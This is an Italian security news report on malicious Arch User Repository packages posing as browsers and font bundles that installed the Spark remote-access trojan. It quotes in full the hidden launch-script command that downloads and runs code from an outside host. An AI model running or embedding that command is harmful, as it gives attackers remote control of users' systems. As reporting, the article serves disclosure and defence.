Nel repository AUR (Arch User Repository), utilizzato in Arch Linux per la distribuzione di pacchetti da sviluppatori di terze parti, è continuata la pubblicazione di codice maligno integrato in pacchetti con versioni non ufficiali dei browser. Oltre ai pacchetti malevoli identificati due settimane fa, firefox-patch-bin, librewolf-fix-bin e zen-browser-patched-bin, è stato aggiunto al AUR il pacchetto google-chrome-stable, che contiene anche una modifica che installa un componente maligno, fornendo accesso remoto al sistema.
Nel file PKGBUILD del pacchetto problematico è stata identificata l'installazione di uno script per avviare il browser google-chrome-stable.sh, che includeva tra le altre cose il comando ‘python -c «$(curl https://segs.lol/9wUb1Z)»‘, che scaricava malware riconosciuto dal servizio VirusTotal come trojan Spark, consentendo il controllo remoto del sistema, l'avvio di processi, il trasferimento di file, l'ispezione del traffico e l'invio di screenshot.
Il pacchetto maligno google-chrome-stable è stato caricato due giorni fa ed è stato rimosso dagli amministratori AUR poche ore dopo la sua apparizione. Quasi subito dopo la rimozione di google-chrome-stable, sono stati caricati nel AUR due pacchetti maligni - 'chrome' e 'chrome-bin', contenenti uno script simile per l'installazione di malware sul sistema dell'utente.
Successivamente, sono stati identificati altri tre pacchetti con codice maligno: ttf-mac-fonts-all, ttf-ms-fonts-all e gromit.
Fonte: opennet.ru
